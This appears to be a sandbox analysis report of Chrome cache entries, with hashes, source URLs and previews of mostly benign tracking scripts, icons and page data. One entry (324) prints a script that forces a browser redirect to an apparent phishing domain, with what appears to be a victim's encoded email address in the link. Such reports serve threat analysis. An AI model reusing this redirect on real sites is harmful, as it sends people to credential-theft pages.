Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (35750), with CRLF line terminators
Category:	downloaded
Size (bytes):	35768
Entropy (8bit):	5.354232420812214
Encrypted:	false
SSDEEP:	768:ekuQgm8+OGIdHR3rUKmevLVgaJICkv8wxpKhm:Bue8F5ZR38exxm
MD5:	F8FB4D074ED9479A015BC253DF25A108
SHA1:	60C7A2001BE7E9422A7A1379C1FADD1CE337A64C
SHA-256:	05B7DEA36E890161F5B35D804B2E6B9700A39E5B2E7ED7B2B5309CBFFD277D9D
SHA-512:	ED8CB0BB52F43E68A8CE3C8313079DD3AB443B98229BCAAD50AD04B43D33F23D04CA9848AA6C9BEFADDE582633A6DFEC71F409B0B695130F4C098ED1A593F121
Malicious:	false
URL:	https://bat.bing.com/p/insights/s/0.7.48
Preview:	!function(){"use strict";var t=Object.freeze({__proto__:null,get queue(){return qe},get start(){return Ae},get stop(){return We},get track(){return Se}}),e=Object.freeze({__proto__:null,get clone(){return rn},get compute(){return an},get data(){return Ge},get keys(){return Ze},get reset(){return on},get start(){return en},get stop(){return cn},get trigger(){return nn},get update(){return un}}),n=Object.freeze({__proto__:null,get check(){return pn},get compute(){return vn},get data(){return Be},get start(){return fn},get stop(){return mn},get trigger(){return gn}}),r=Object.freeze({__proto__:null,get compute(){return On},get data(){return wn},get log(){return _n},get reset(){return xn},get start(){return bn},get stop(){return kn},get updates(){return yn}}),a=Object.freeze({__proto__:null,get callbacks(){return Tn},get clear(){return Cn},get consent(){return jn},get data(){return En},get id(){return In},get metadata(){return Sn},get save(){return Hn},get start(){return Nn},get stop(){ret

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	917
Entropy (8bit):	4.528554140621409
Encrypted:	false
SSDEEP:	24:tCb8EAua5wui9o8M+JDiCU5G1BeOWM5KViGU/taQcN6Vw:/55w49+rU5CL5K5UFni
MD5:	A62B3B7B93EEBFD53FFBBBE7FEE30FED
SHA1:	1336A9BC91F83F2F88ACDC1A4335333051B8D835
SHA-256:	0B49C3A7766A5F8728B5B3A9DEF5190948E55C31EACDAF6606A0CEF1794B2933
SHA-512:	93A84690BC3DBFC31DE7BD8094FFB6D8AF47864B5973582DF8899ABCAE06B3EC4A50F3A1D35720DEDCB5A562D7F705DCC42D6F34EC2C3C0F530F28C5E18F2D40
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/3uFblkuIoaQq9IXfbLMOyj/b893f6e726771d2b409acf1338eff652/internet-browser.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M10.8675 16.2C11.7332 16.2 12.435 15.4982 12.435 14.6325C12.435 13.7668 11.7332 13.065 10.8675 13.065C10.0018 13.065 9.3 13.7668 9.3 14.6325C9.3 15.4982 10.0018 16.2 10.8675 16.2Z" fill="#FF6633"/>.<path d="M15.8925 16.2C16.7582 16.2 17.46 15.4982 17.46 14.6325C17.46 13.7668 16.7582 13.065 15.8925 13.065C15.0268 13.065 14.325 13.7668 14.325 14.6325C14.325 15.4982 15.0268 16.2 15.8925 16.2Z" fill="#FF6633"/>.<path d="M20.91 16.2C21.7757 16.2 22.4775 15.4982 22.4775 14.6325C22.4775 13.7668 21.7757 13.065 20.91 13.065C20.0443 13.065 19.3425 13.7668 19.3425 14.6325C19.3425 15.4982 20.0443 16.2 20.91 16.2Z" fill="#FF6633"/>.<path d="M42 9.05249H6L4.5 10.5525V40.455L6 41.955H42L43.5 40.455V10.5525L42 9.05249ZM40.5 12.0525V17.25H7.5V12.0525H40.5ZM7.5 38.955V20.25H40.5V39L7.5 38.955Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	821
Entropy (8bit):	4.391711104864345
Encrypted:	false
SSDEEP:	24:tCb8EAukJ5/ridU5NGgMF7w16AyIR75PiVtL6eevADRw:/JzNGrFy6P098tL6xvd
MD5:	CBDF593EE5CC6E6E78AC068A73B71F91
SHA1:	BDEC36CD843FD35FC7CF154411F86C972F8289EE
SHA-256:	2D4C59928B88FE3D08D4400BDDDA6B0183E450AF62B3B50B09E30142050303D6
SHA-512:	84FC862D084F237F999BDDA46C8701A539574B6F7111CD9F7D2AE065237DDE00A52F84812A16B01DE100524B788848ED5F2A24D2934CEC8DDA5E2221AEB8821D
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M22.7175 30.4125L24.84 32.535L32.7075 24.6675L24.84 16.8075L22.7175 18.93L26.9625 23.1675H4.50751V26.1675H26.9625L22.7175 30.4125Z" fill="#FF6633"/>.<path d="M38.5725 10.335L37.545 10.1925C33.2007 9.55071 29.168 7.55932 26.0175 4.5L25.125 3.495H22.875L22.005 4.5C18.8635 7.55932 14.8379 9.55111 10.5 10.1925L9.47251 10.335L8.18251 11.835V20.25H11.1825V13.125C16.0024 12.3483 20.4725 10.1251 24 6.75C27.5411 10.1312 32.0274 12.3547 36.8625 13.125V22.425C36.8625 34.695 25.5 41.0475 24 41.8125C22.8525 41.25 15.435 37.0725 12.4275 29.25H9.24751C12.555 39.3225 22.3125 44.3175 22.8075 44.565L23.34 44.835H24.6825L25.215 44.565C25.815 44.2725 39.8625 37.065 39.8625 22.425V11.82L38.5725 10.335Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	917
Entropy (8bit):	4.528554140621409
Encrypted:	false
SSDEEP:	24:tCb8EAua5wui9o8M+JDiCU5G1BeOWM5KViGU/taQcN6Vw:/55w49+rU5CL5K5UFni
MD5:	A62B3B7B93EEBFD53FFBBBE7FEE30FED
SHA1:	1336A9BC91F83F2F88ACDC1A4335333051B8D835
SHA-256:	0B49C3A7766A5F8728B5B3A9DEF5190948E55C31EACDAF6606A0CEF1794B2933
SHA-512:	93A84690BC3DBFC31DE7BD8094FFB6D8AF47864B5973582DF8899ABCAE06B3EC4A50F3A1D35720DEDCB5A562D7F705DCC42D6F34EC2C3C0F530F28C5E18F2D40
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/17tDJ5kPaGE8eLFJvByBgR/c28fb006fa3ddfba75b2009591559296/internet-browser.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M10.8675 16.2C11.7332 16.2 12.435 15.4982 12.435 14.6325C12.435 13.7668 11.7332 13.065 10.8675 13.065C10.0018 13.065 9.3 13.7668 9.3 14.6325C9.3 15.4982 10.0018 16.2 10.8675 16.2Z" fill="#FF6633"/>.<path d="M15.8925 16.2C16.7582 16.2 17.46 15.4982 17.46 14.6325C17.46 13.7668 16.7582 13.065 15.8925 13.065C15.0268 13.065 14.325 13.7668 14.325 14.6325C14.325 15.4982 15.0268 16.2 15.8925 16.2Z" fill="#FF6633"/>.<path d="M20.91 16.2C21.7757 16.2 22.4775 15.4982 22.4775 14.6325C22.4775 13.7668 21.7757 13.065 20.91 13.065C20.0443 13.065 19.3425 13.7668 19.3425 14.6325C19.3425 15.4982 20.0443 16.2 20.91 16.2Z" fill="#FF6633"/>.<path d="M42 9.05249H6L4.5 10.5525V40.455L6 41.955H42L43.5 40.455V10.5525L42 9.05249ZM40.5 12.0525V17.25H7.5V12.0525H40.5ZM7.5 38.955V20.25H40.5V39L7.5 38.955Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	4021
Entropy (8bit):	4.030151247600635
Encrypted:	false
SSDEEP:	96:7Xsmnk1LeZ51W6gL8osOx9OWePHpRzwwOo:LsmklOtoPGxREwOo
MD5:	67C8DCBE189A2CF2A0A2966BA23A3DA5
SHA1:	B6C0EF161E8169C02DEF7E37366229F9659BF25C
SHA-256:	2CCE97E447D0D250EFD52C87B9CACF644FCE460470C65EEBA8615E6911DB4A2B
SHA-512:	907E042ABC82315456A21E71593A4B4EE8CFDEC86C24EA92F77C10A624861476ED9B0A3812FE5585E706347638F2FAD72E3F8F89B0FB16436EA0128EAB208BF5
Malicious:	false
Preview:	<svg width="158" height="32" viewBox="0 0 158 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M118.022 16.3247C118.022 15.7298 118.359 15.4324 119.053 15.4324H120.54C121.254 15.4324 121.849 15.7695 122.325 16.285L131.367 25.7835C131.664 26.0809 132.041 26.1404 132.041 25.7835V16.1859C132.041 15.71 132.279 15.4324 132.874 15.4324H134.341C134.797 15.4324 135.174 15.6307 135.174 16.1661V30.7607C135.174 31.5936 135.095 31.772 134.361 31.772H132.993C132.418 31.772 132.101 31.6531 131.704 31.2366L122.047 21.064C121.631 20.6079 121.214 20.6079 121.194 21.183V31.0383C121.194 31.4944 120.976 31.7522 120.441 31.7522H118.775C118.279 31.7522 118.041 31.5341 118.022 31.078V16.3247ZM109.475 15.4324H111.775C112.073 15.4324 112.311 15.6703 112.311 15.9876V31.2168C112.311 31.5143 112.073 31.772 111.775 31.772H109.475C109.177 31.772 108.94 31.5143 108.94 31.2168V15.9876C108.92 15.6902 109.177 15.4324 109.475 15.4324ZM84.2714 16.5627C84.2714 15.8091 84

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (51384), with no line terminators
Category:	dropped
Size (bytes):	51385
Entropy (8bit):	5.293328685395304
Encrypted:	false
SSDEEP:	768:IaOFhhRC5JFhLjfRysgLzQynDw5YyDMFW8KQ:IaOFnR2DRszQKaoWtQ
MD5:	6626C1362840EBFC8F48294E8F023E18
SHA1:	4EC0DFB37C3E536C1B5EC04B68C9846FDBAF9EEF
SHA-256:	AABC88A6DB8B22022F96CA88E4F0A7BE426ABEF2B35169A71515A2D55246402A
SHA-512:	B037A19B52C1047198EC7F19E99066054E454964380E2354239834260D11248E617D6759B944DDF39A25B883C8F430603D8E13097396E2DEDA9BB6905C1CD42A
Malicious:	false
Preview:	function UET(o){this.stringExists=function(n){return n&&n.length>0};this.domain="bat.bing.com";this.domainCl="bat.bing.net";this.URLLENGTHLIMIT=4096;this.pageLoadEvt="pageLoad";this.customEvt="custom";this.pageViewEvt="page_view";o.Ver=o.Ver!==undefined&&(o.Ver==="1"\|\|o.Ver===1)?1:2;this.uetConfig={};this.uetConfig.consent={enabled:!1,adStorageAllowed:!0,adStorageUpdated:!1,hasWaited:!1,waitForUpdate:0,enforced:!1};this.uetConfig.tcf={enabled:!1,vendorId:1126,hasLoaded:!1,timeoutId:null,gdprApplies:undefined,adStorageAllowed:undefined,measurementAllowed:undefined,personalizationAllowed:undefined};this.uetConfig.cusig={hasLoaded:!1,timeoutId:null,blob:{}};this.beaconParams={};this.supportsCORS=this.supportsXDR=!1;this.paramValidations={string_currency:{type:"regex",regex:/^[a-zA-Z]{3}$/,error:"{p} value must be ISO standard currency code"},number:{type:"num",digits:3,max:999999999999},integer:{type:"num",digits:0,max:999999999999},hct_los:{type:"num",digits:0,max:30},date:{type:"regex",

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	178467
Entropy (8bit):	5.18224943945736
Encrypted:	false
SSDEEP:	1536:mp/9iEXy6LNidBtNWn32VX22UuNNoJ57T5IahU5WuF:iiEXy6L8BtNWn3yX22UuLoDBIaqWuF
MD5:	BE035BD946D5FC3DE648AEF875CDF600
SHA1:	A597006A695416F88C66B9D35AB61E2D1A9201AE
SHA-256:	4575301A266C7D8503A1EFD2C0F2E3857CF73ABA5B6DE68AADC18D8D58E27BA0
SHA-512:	2D61B0781FC7579BFD508DCFCACA0F1F73EDD354B47C604FF25BEF911FBC2072EF7D8DD64B6D7EB163D76A6A01DCA21E6944A47B39075D1551FF89EDCC3FD5D9
Malicious:	false
URL:	https://www.cloudflare.com/page-data/learning/access-management/what-is-identity-and-access-management/page-data.json
Preview:	{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-identity-and-access-management/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":"nXsrVte4AQdH4vq24MPyF","locale":"en-US","mainNav":{"contentTypeId":"navNavigation","contentfulId":"3onSCkJx7542CMAJj5nxPP","locale":"en-US","navigationType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"contentfulButton":null,"showIconOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"5kdEfA2EwI8jw4ExjnN4R2","locale":"en-US","name":" By topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	117
Entropy (8bit):	5.273363865157915
Encrypted:	false
SSDEEP:	3:gn3QV9KGBkADFoHDNqCbIxoWGCt/EIwF67ZPg5gk7b:63GKGKmmHBlbIFGuMIaegSgb
MD5:	2F024D32DCC43C80531B98430CAECD7D
SHA1:	FC070C42F7DDB7E5876EF7010B051CDC02881C1E
SHA-256:	B6D128C4D2C3E4AA7B686FD372D08B98FD7BA0670AE3CD5D08F08365D2D84974
SHA-512:	F87C86197201798D00D97A6852CDEA93DA828A110BE5FBE5B1B8ECA16CE72F990FF7E92B56792ADDC0B417804ADBE111ADA5DEC14739BA1AD14E741E08E15603
Malicious:	false
URL:	https://www.linksideas.poc-asia.com/img/arull.php
Preview:	<script>window.top.location.href = "https://bookingadocel.com/QZ6XM/#1Y2FybHkuam9zZXBoQGV2ZXJicmlkZ2UuY29t";</script>

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, Unicode text, UTF-8 (with BOM) text, with very long lines (573)
Category:	dropped
Size (bytes):	68594
Entropy (8bit):	5.479963985385333
Encrypted:	false
SSDEEP:	1536:gsDm5awkEMDrEUtySeuPPTdXOL4Y0TduF1rL/bGhDUyWeflcM+AVD/rJVu8+:BDG0Up0TduF1r3R1EnF+
MD5:	0486E01E8021BD6228C8CAB5A6CEFF0D
SHA1:	7C71FB853583AF89378516047CB0AFF75479D93F
SHA-256:	984B53C03E5BC1BA322C157FF3B698BB87769ED98F04DFCAC803EDE1C14A340A
SHA-512:	D841C76BA1F608930A9562683A1EB1AB9ADE387D762050135AB3DDE6943931F50FB5C7563E236C2E9B61DE62DD3FAD05C5F5564DDB28431649270B11633AE290
Malicious:	false
Preview:	.(function(){var Q={};(function(d){function l(n,m,r){var t=n.length,p,v;m=m\|\|[0];r=r\|\|0;var w=r>>>3;if(0!==t%2)throw Error("String of HEX type must be in byte increments");for(p=0;p<t;p+=2){var x=parseInt(n.substr(p,2),16);if(isNaN(x))throw Error("String of HEX type contains invalid characters");var y=(p>>>1)+w;for(v=y>>>2;m.length<=v;)m.push(0);m[v]\|=x<<8(3-y%4)}return{value:m,binLen:4t+r}}function b(n,m,r){var t;var p=m\|\|[0];r=r\|\|0;var v=r>>>3;for(t=0;t<n.length;t+=1){m=n.charCodeAt(t);var w=t+.v;var x=w>>>2;p.length<=x&&p.push(0);p[x]\|=m<<8(3-w%4)}return{value:p,binLen:8n.length+r}}function a(n,m,r){var t=0,p,v;var w=m\|\|[0];r=r\|\|0;m=r>>>3;if(-1===n.search(/^[a-zA-Z0-9=+\/]+$/))throw Error("Invalid character in base-64 string");var x=n.indexOf("=");n=n.replace(/=/g,"");if(-1!==x&&x<n.length)throw Error("Invalid '=' found in base-64 string");for(x=0;x<n.length;x+=4){var y=n.substr(x,4);for(p=v=0;p<y.length;p+=1){var A="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11964), with no line terminators
Category:	downloaded
Size (bytes):	11965
Entropy (8bit):	5.346433149868613
Encrypted:	false
SSDEEP:	192:GnUaLMP73g1eKfmwhxoUesnDwVbTeYe+bvoaoQzZSwol/+/3jVzCGd0xgycsjI44:GnUaLMP73g1KwUsDdV+bvoNQzZSwol/y
MD5:	EF020293FB7D5C8F7CF81AD2F2793BEF
SHA1:	08543F8A7C6C81B74C07B82A340D0084C82D3D09
SHA-256:	B1BEFE5B761C5F8A31F350CD03FC3B8F8FA982B4C7EA9909FF968CDF1F1AE14A
SHA-512:	F95F4654AED99A6F41AC2F5408FE49FC77E4CC50EF2857983BF6A2F48F89634CA4910F857D0F5AB78618E1DCA557547969DA2D3FD439868E47AEBB20A4F3E1DA
Malicious:	false
URL:	https://www.cloudflare.com/a06cff934e9579536ce1c10bad21c1d6d7f63ae0-8b61554ef4c490b779ce.js
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[253],{86168:function(e,t,n){n.d(t,{Au:function(){return o},cS:function(){return l}});const o=n(96540).createContext({}),l=({children:e})=>e,{Consumer:r}=o},8216:function(e,t,n){n.d(t,{B:function(){return c},k:function(){return i}});var o=n(96540),l=n(54232),r=n(1204);const a=(0,l.FR)()?"https://www.cloudflare-cn.com":"https://www.cloudflare.com";function i(e,t,n=a){const o=(0,l.l1)(t);return"en-us"===e.toLocaleLowerCase()\|\|e.toLocaleLowerCase()===l.q.toLowerCase()?(0,r.CN)(n,o,"/"):(0,r.CN)(n,e.toLowerCase(),o,"/")}const c=(e,t,n=a,r=l.IB)=>[...r.filter((e=>Boolean(e)&&!a.includes("cloudflare-cn.com")&&"zh-hans-cn"!==e.toLowerCase())).map((e=>o.createElement("link",{key:e,rel:"alternate",hrefLang:e.toLocaleLowerCase(),href:i(e,t,n)}))),"/home"===t?o.createElement("link",{key:t,rel:"canonical",href:a}):o.createElement("link",{key:t,rel:"canonical",href:i(e,t,n)})]},61461:fun

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (606)
Category:	dropped
Size (bytes):	11374
Entropy (8bit):	5.519922580947287
Encrypted:	false
SSDEEP:	192:aCcC821ch80emIqlF9D72MKBZQSM7jbQnojCsSdU+9K8Uazi+d3S/4+sd+Ba/Slm:aClVzmZH21vQx7faoj7eU+9K8UIi5/4/
MD5:	756F9116836F579D12BE8FE786B69D98
SHA1:	51FF48AEEDDC311585DA9D749DB091900E9B9F02
SHA-256:	DEA9DF0145848FFEB3C6931228D41E833341B4837C0E713D321C5BFCF6DCD4E6
SHA-512:	6249596F8554AAEBB74B76EFE3138C1109CC87B2C72A4FFE0C1869EE77155A05C58F4B2D966BA38775C35A2B4451FF2581A22F8098ACF1377F6F0C15CB6C20B5
Malicious:	false
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: 164 r924. */. (function(l){if(!l.MunchkinTracker){var h=l.document,p=h.location,C=encodeURIComponent,y=!1,q=null,t=null,D=!1,v=null,E=[],u=function(b,a,c,d){try{var e=function(){try{c.apply(this,arguments)}catch(a){}};b.addEventListener?b.addEventListener(a,e,d\|\|!1):b.attachEvent&&b.attachEvent("on"+a,e);E.push([b,a,e,d])}catch(f){}},U=function(b,a,c,d){try{b.removeEventListener?b.removeEventListener(a,c,d\|\|!1):b.detachEvent&&b.detachEvent("on"+a,c)}catch(e){}},e=function(b){return"undefined"!==typeof b&&null!==.b},F=function(b,a){return b.className.match(RegExp("(\\s\|^)"+a+"(\\s\|$)"))},V=e(l.XMLHttpRequest)&&e((new l.XMLHttpRequest).withCredentials),s=function(b){var a=null,c;if(e(b))if(0===b.length)a="";else try{a=decodeURIComponent(b)}catch(d){c=b.indexOf("?");if(-1!==c)t

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (41169)
Category:	dropped
Size (bytes):	41172
Entropy (8bit):	5.505998162296305
Encrypted:	false
SSDEEP:	768:j21xCdwV69Odf9dk1fV8iWUwcb9x8cvgBhpU9yC8IEVDlbth3Ia8DdEN:iP3kr8V8vShi98Iiph3IbC
MD5:	0AA5002702487976D570A640C408EBA5
SHA1:	48930F22A2396DF313CCDFCB91CAC20E38F2B06B
SHA-256:	4E8276AEA0A3C7FE3600E6718C7F484D49C347C8D5763D89BE95900D526A14DA
SHA-512:	37A9D609DB21EE1E696CB437C02F0F6410925EB10B6353C0CDF95DB265E342F0BC3D2AE1851D209E4517D978B7CCBE8AD56F98247FA865AE405FAFD4D2E62CDA
Malicious:	false
Preview:	!function(){"use strict";function n(n,t,e){return t in n?Object.defineProperty(n,t,{value:e,enumerable:!0,configurable:!0,writable:!0}):n[t]=e,n}var t,e,r,i,o={ADVERTISING:"ADVERTISING",ANALYTICS_AND_RESEARCH:"ANALYTICS_AND_RESEARCH",FUNCTIONAL:"FUNCTIONAL"},a="GUEST",u="MEMBER",c=0,l=1,d=2,s=(n(t={},a,"li_gc"),n(t,u,"li_mc"),t),f=function vr(){var n=arguments.length>0&&arguments[0]!==undefined?arguments[0]:null,t=arguments.length>1&&arguments[1]!==undefined?arguments[1]:null,e=arguments.length>2&&arguments[2]!==undefined?arguments[2]:null,r=arguments.length>3&&arguments[3]!==undefined?arguments[3]:null;for(var i in function(n,t){if(!(n instanceof t))throw new TypeError("Cannot call a class as a function")}(this,vr),n=n\|\|{},this.consentAvailable=!1,this.issuedAt=t,this.userMode=e,this.optedInConsentMap={},o)n[i]=n[i]\|\|c,n[i]!==c&&(this.consentAvailable=!0),this.optedInConsentMap[i]=n[i]===l\|\|n[i]===c&&r===l},v=(e=[o.ADVERTISING,o.ANALYTICS_AND_RESEARCH,o.FUNCTIONAL],r=[c,l,d,c],i=new R

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.016735577283109
Encrypted:	false
SSDEEP:	3:xqLGsXjnKleIrRXNEn:QLGsjEeIRSn
MD5:	85313D55461B305C609AF67FDE23727F
SHA1:	B66C6000DB7908762F142014BA311A7A556A28C4
SHA-256:	2E1006F5CAD6CB85930C762E30BCBE9AECC8056E358F696C35CD2291B3A669C3
SHA-512:	58442AC472CC437EE1C42527BDB2DB313C8DBBE7F2EBB7EFB809C92AF35D404599F00512FD2E90D1CB667FEF8D31787B14DDB3CA5AC01D4541EF78321820C668
Malicious:	false
Preview:	"Missing a required Content-Length header"

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 134 x 21, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	2268
Entropy (8bit):	7.877934840035454
Encrypted:	false
SSDEEP:	48:nAfzSDc6MVjkfWfWcfSUBkz4r5zIRqOZ3Icv03801xWyA:izMcxVjf7BkyxGv038sA
MD5:	F85B56A0C70139B06BD9C4FC4F6AF9F7
SHA1:	121662791733A4AAAFA2AAC097BC8D4AFDD9BFFB
SHA-256:	BB41B262424E457889D54E01061D99DA485CE294B798E215D60D9E045B03D496
SHA-512:	8606A1E50F3945E79ED80B22BAB03E8DCF0C2423233BE05A77C85E5137277BEE3AF8E40DA7DCEB88EFF96919002407E88F79A03CD3BCEECDA17DCEE359432E77
Malicious:	false
Preview:	.PNG........IHDR.............).^...._iCCPicc..x.}..KBQ..Z!..Q.C...U.A..j E.......W...{/.h.....2h........ j.......v.}.B.\|...\|..p.oPg....l:V.WV.k....z.t.f1M[.,.?...f...F.z.=H...w....^.l.6...B......k....G<l.R.....O.g\....T...X1.z..A.f:.B..K[.d...9seI.!.`....P...(...'?%..l.Q....p. .&'..`...T.0B...s.~....mo....s./..\|.8.....7........-]Z=$o>.\|...i`.z..\|$.n...}......#.Y.....f.._.k...)j.X@....8IDATx..ilTU...o...3 4BQ....H.;...EA..EL.....Z#.k...Q..AI.4...!.W....B.i..RZ....srrr.^n.x'.w......s.}.<...8.$..i....U....w.x.D..Mv..su....s.d.$..+.....s../...3M.k.!..`=.RF....B...p.71.A:q."./.P.0...d\|.)r..).#..uV.'%.j(..../>8.........t. K\|.../..Z.l.....t.).8.W..M.!$.0.....`&ut.U;.&mS...<..g;...Z.f...H.?.g.....V.9...\|..4..D#...M...i"........6...T..j/...l.-..X.I.K..UBG.%..P..8.Xmf(....p==.~< C..^+........A..g.......)..@..F..k..E"..>..).w.. .._..oh&....d....e..3..l&. .C...W.....x=B....dl.D.4.$1.%>oE.........T..D....."O.w.l9~..OE..!..`.4=.../..'.....I.aq}>..[.9D.,.:...i.7X.NU

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42716)
Category:	dropped
Size (bytes):	388483
Entropy (8bit):	5.518383307112401
Encrypted:	false
SSDEEP:	6144:kgzq2w873qt/BlpvX5wLGJj0h6b1mETms:kf2Bk/BJwb2Ks
MD5:	62B05C61CDE703C9AAA0C8A280DE27A4
SHA1:	DB52F692991F0A5FB71FAF657153EF0C936319A6
SHA-256:	E906A333FA4F957E885EE6DE09737C7BCF74FBC595DE7AD321ACF30AB9243CFD
SHA-512:	9AF2DE68CE2179905B5CD2BF4EB77CB7FD2A3D39D5D6FBEBBC26C4ACB40462A7C6EF83619040F07B07928355F07460DD912A7952A4C0A28954ECE73A18CEE8AF
Malicious:	false
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. . (function(w,g){w[g]=w[g]\|\|{};. w[g].e=function(s){return eval(s);};})(window,'google_tag_manager');. .(function(){..var data = {."resource": {. "version":"54",. . "macros":[{"function":"__e"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"zarazGaClientId"},{"function":"__remm","vtp_setDefaultValue":true,"vtp_input":["macro",1],"vtp_fullMatch":true,"vtp_replaceAfterMatch":true,"vtp_defaultValue":"not_set","vtp_ignoreCase":true,"vtp_map":["list",["map","key",".-.","value","ready"]]},{"function":"__e"},{"function":"__u","vtp_component":"HOST","vtp_enableMultiQueryKeys":false,"vtp_enableIgnoreEmptyQueryParam":false},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_id"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_name"},{"function":"__v","vtp_dataLayerVersion":2,"vtp_setDefaultValue":false,"vtp_name":"form_business

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	112
Entropy (8bit):	4.651241985958579
Encrypted:	false
SSDEEP:	3:naChgJjkCyQnuCWoiCkV2PgnuGeqPfDuqPAhRn:nRgBkWHWoiV8gnQQLuqohR
MD5:	97ADA299DD0EBC78E85550C698A812CC
SHA1:	684725AA070734E76810FC280D18F2AF46EE82F8
SHA-256:	E26196FCA9DC7F0D4F9BCC3342F3A80B0775A37748D475BA2D203986DBC4954B
SHA-512:	613139F26EED46A7EFAEAC3EFB709F722D068ADF7266E85AA5ED00B2D040268CFD118ECD503308E2A18714A581C6224BEC5B621029ADE8EEF1500F5E7074ECFD
Malicious:	false
